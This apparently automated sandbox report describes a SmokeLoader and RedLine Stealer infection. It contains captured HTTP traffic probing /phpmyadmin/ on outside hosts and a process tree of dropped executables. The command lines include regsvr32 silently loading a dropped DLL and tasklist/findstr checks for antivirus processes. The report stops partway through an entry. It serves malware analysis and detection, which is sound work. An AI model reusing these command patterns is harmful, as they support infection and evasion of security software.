2023-12-02 17:04:33 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 44 65 63 20 32 30 32 33 20 31 37 3a 30 34 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:33 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-12-02 17:04:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	52154	46.254.37.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-02 17:04:33 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-02 17:04:33 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 44 65 63 20 32 30 32 33 20 31 37 3a 30 34 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:33 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-12-02 17:04:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	54482	208.91.197.132	443

Timestamp	Bytes transferred	Direction	Data
2023-12-02 17:04:35 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-02 17:04:36 UTC	537	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 44 65 63 20 32 30 32 33 20 31 37 3a 30 34 3a 33 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 76 73 69 64 3d 39 32 37 76 72 34 34 39 30 38 32 32 37 35 35 36 32 39 30 32 38 34 39 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 33 30 2d 4e 6f 76 2d 32 30 32 38 20 31 37 3a 30 34 3a 33 35 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 31 35 37 36 38 30 Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sat, 02 Dec 2023 17:04:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeSet-Cookie: vsid=927vr449082275562902849; expires=Thu, 30-Nov-2028 17:04:35 GMT; Max-Age=157680
2023-12-02 17:04:36 UTC	15847	IN	Data Raw: 31 65 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 1e06<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">
2023-12-02 17:04:36 UTC	16384	IN	Data Raw: 66 66 7d 0d 0a 2e 63 75 73 74 6f 6d 2d 6d 73 67 20 61 7b 63 6f 6c 6f 72 3a 20 23 66 66 66 7d 0d 0a 0d 0a 64 69 76 23 6f 70 74 4f 75 74 0d 0a 32 30 30 30 0d 0a 4c 69 6e 6b 7b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 33 30 70 78 7d 0d 0a 2e 6e 6f 2d 72 65 73 75 6c 74 73 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 31 30 70 78 20 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 20 7d 0d 0a 0d 0a 75 6c 2e 70 72 69 76 61 63 79 20 7b 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 20 7d 0d 0a 75 6c 2e 70 72 69 76 61 63 79 20 6c 69 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 20 63 6f 6c Data Ascii: ff}.custom-msg a{color: #fff}div#optOut2000Link{ padding-top: 30px}.no-results{text-align: center; padding: 10px 10px 0; color: #ffffff;font-size: 15px }ul.privacy {padding: 0 0 20px;text-align:right; }ul.privacy li {font-size: 12px; col
2023-12-02 17:04:36 UTC	12753	IN	Data Raw: 46 4f 78 32 45 31 4d 4c 79 4a 72 4f 47 67 4e 69 38 4c 25 32 42 65 36 30 42 65 71 45 6a 37 6a 41 75 25 32 42 6c 69 54 78 44 58 50 4b 25 32 42 4a 63 54 5a 72 6a 65 42 58 50 25 32 46 64 0d 0a 31 30 30 30 0d 0a 54 77 46 5a 48 62 33 6b 58 36 52 54 74 78 43 46 48 78 6e 69 4f 68 4c 6c 34 49 6b 65 30 30 6f 4d 66 6a 70 41 52 68 4b 74 53 72 63 65 76 47 58 4a 74 45 66 31 25 32 46 6b 4e 4e 25 32 42 42 66 66 52 54 32 50 4a 72 31 79 36 62 38 30 71 37 32 61 61 4b 25 32 46 66 71 42 32 6e 38 43 4b 7a 56 36 4d 75 25 32 42 39 65 79 37 41 45 73 6d 76 45 34 58 6e 4c 6a 61 5a 6c 25 32 42 6e 34 46 62 67 58 52 47 4b 56 70 6e 70 4b 57 42 79 36 54 6e 79 64 31 6b 77 47 79 49 54 44 70 25 32 42 6e 54 25 32 42 47 41 51 7a 6a 5a 53 74 70 73 42 50 51 38 53 6c 68 72 25 32 42 6d 4a 67 5a Data Ascii: FOx2E1MLyJrOGgNi8L%2Be60BeqEj7jAu%2BliTxDXPK%2BJcTZrjeBXP%2Fd1000TwFZHb3kX6RTtxCFHxniOhLl4Ike00oMfjpARhKtSrcevGXJtEf1%2FkNN%2BBffRT2PJr1y6b80q72aaK%2FfqB2n8CKzV6Mu%2B9ey7AEsmvE4XnLjaZl%2Bn4FbgXRGKVpnpKWBy6Tnyd1kwGyITDp%2BnT%2BGAQzjZStpsBPQ8Slhr%2BmJgZ

Target ID:	0
Start time:	18:00:54
Start date:	02/12/2023
Path:	C:\Users\user\Desktop\BRvptajioG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\BRvptajioG.exe
Imagebase:	0x400000
File size:	308'736 bytes
MD5 hash:	2C18F752C6D8A298451EF6E56C17C844
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.1297247950.0000000004700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:01:04
Start date:	02/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	19:53:40
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Roaming\decegfu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\decegfu
Imagebase:	0x400000
File size:	308'736 bytes
MD5 hash:	2C18F752C6D8A298451EF6E56C17C844
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000003.1638079911.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000D.00000002.1690397415.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.1690627689.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:53:53
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\5833.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\5833.exe
Imagebase:	0x400000
File size:	311'296 bytes
MD5 hash:	33A60439E95F0DFC10016075F97AEB0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.1864414709.0000000000948000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:53:55
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\6071.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\6071.exe
Imagebase:	0x400000
File size:	2'037'760 bytes
MD5 hash:	57C833BFD5042E34BEC23DFD711CD151
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.1862530348.00000000027BE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:53:57
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\6719.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\6719.exe
Imagebase:	0xd30000
File size:	4'837'528 bytes
MD5 hash:	A3DEA4C1F895C2729505CB4712AD469D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.2186967379.0000000000D33000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 30%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:53:58
Start date:	02/12/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll
Imagebase:	0x7ff7b2e40000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:53:58
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user~1\AppData\Local\Temp\6B8F.dll
Imagebase:	0x290000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:54:05
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\85CF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\85CF.exe
Imagebase:	0x400000
File size:	259'072 bytes
MD5 hash:	CD4811C966234ED3742118C9B299A8CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.1968314715.0000000000AB9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000003.1914643611.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000013.00000002.1967468018.0000000000A50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:54:07
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\90FB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\90FB.exe
Imagebase:	0x400000
File size:	1'336'832 bytes
MD5 hash:	663BEF796CAD090D04538B9B618C2134
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:54:07
Start date:	02/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:54:09
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\6071.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\6071.exe
Imagebase:	0x400000
File size:	2'037'760 bytes
MD5 hash:	57C833BFD5042E34BEC23DFD711CD151
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	19:54:09
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\9B3D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\9B3D.exe
Imagebase:	0xdf0000
File size:	1'899'296 bytes
MD5 hash:	D91540ED753B8137486C21FCC71F5824
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.1889830261.0000000000F7D000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:54:10
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x510000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:54:11
Start date:	02/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:54:12
Start date:	02/12/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x230000
File size:	103'528 bytes
MD5 hash:	89D41E1CF478A3D3C2C701A27A5692B2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001A.00000002.2019445023.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.2021331170.00000000071DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:54:12
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k cmd < Hottest & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:54:13
Start date:	02/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:54:14
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:54:16
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xa60000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:54:16
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0x90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:54:20
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xa60000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:54:20
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe"
Imagebase:	0x90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:54:22
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c mkdir 21808
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:54:22
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
